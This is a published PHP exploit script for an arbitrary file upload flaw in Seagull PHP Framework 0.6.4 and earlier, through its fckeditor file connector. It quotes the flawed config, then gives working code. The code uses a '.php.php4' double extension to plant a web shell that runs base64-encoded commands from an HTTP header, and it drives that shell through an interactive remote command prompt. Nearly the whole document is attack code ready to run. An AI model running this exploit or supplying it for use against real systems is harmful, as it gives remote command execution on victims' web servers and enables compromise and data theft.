SecurityReason - Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit ( Exploit )

Exploit Code :

<?php

/*
------------------------------------------------------------------------
Seagull PHP Framework <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit
------------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://seagullproject.org/
details..: works only with a specific server configuration (e.g. an Apache
server with the mod_mime module installed)

[-] vulnerable code in /www/tinyfck/filemanager/connectors/php/config.php

33. // SECURITY: You must explicitelly enable this "connector". (Set it to
"true").
34. $Config['Enabled'] = true ;
35.
36. // Path to user files relative to the document root.
37. $Config['UserFilesPath'] = SGL_BASE_URL . '/images/' ;
38.
39. // Fill the following value it you prefer to specify the absolute path
for the
40. // user files directory. Usefull if you are using a virtual directory,
symbolic
41. // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or
'/root/mysite/UserFiles/'.
42. // Attention: The above 'UserFilesPath' must point to the same
directory.
43. $Config['UserFilesAbsolutePath'] = SGL_WEB_ROOT.'/images/';
44.
45. $Config['AllowedExtensions']['File'] = array() ;
46. $Config['DeniedExtensions']['File'] =
array('php','php3','php5','phtml','asp','aspx','ascx','jsp','cfm', [...]
47.
48. $Config['AllowedExtensions']['Image'] =
array('jpg','gif','jpeg','png') ;
49. $Config['DeniedExtensions']['Image'] = array() ;
50.
51. $Config['AllowedExtensions']['Flash'] = array('swf','fla') ;
52. $Config['DeniedExtensions']['Flash'] = array() ;
53.
54. $Config['AllowedExtensions']['Media'] =
array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;
55. $Config['DeniedExtensions']['Media'] = array() ;

with a default configuration of this script, an attacker might be able to
upload arbitrary
files containing malicious PHP code due to multiple file extensions isn't
properly checked
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

print
"\n+--------------------------------------------------------------------+";

print "\n| Seagull <= 0.6.4 (fckeditor) Arbitrary File Upload Exploit by
EgiX |";
print
"\n+--------------------------------------------------------------------+\n
";

if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /seagull/\n";
die();
}

$host = $argv[1];
$path = $argv[2];

$filename = md5(time()).".php.php4";
$connector = "tinyfck/filemanager/connectors/php/connector.php";

$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\";
filename=\"{$filename}\"\r\n\r\n";
$payload .= "<?php
\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print
(_code_)} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";

$packet = "POST
{$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f
HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

preg_match("/OnUploadCompleted$(.*),\"(.*)\"$/i", http_send($host,
$packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed!
(Error {$html[1]})\n");

while(1)
{
print "\nseagull-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}images/File/{$html[2]} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $output);
print "\n{$shell[1]}";
}
else break;
}

?>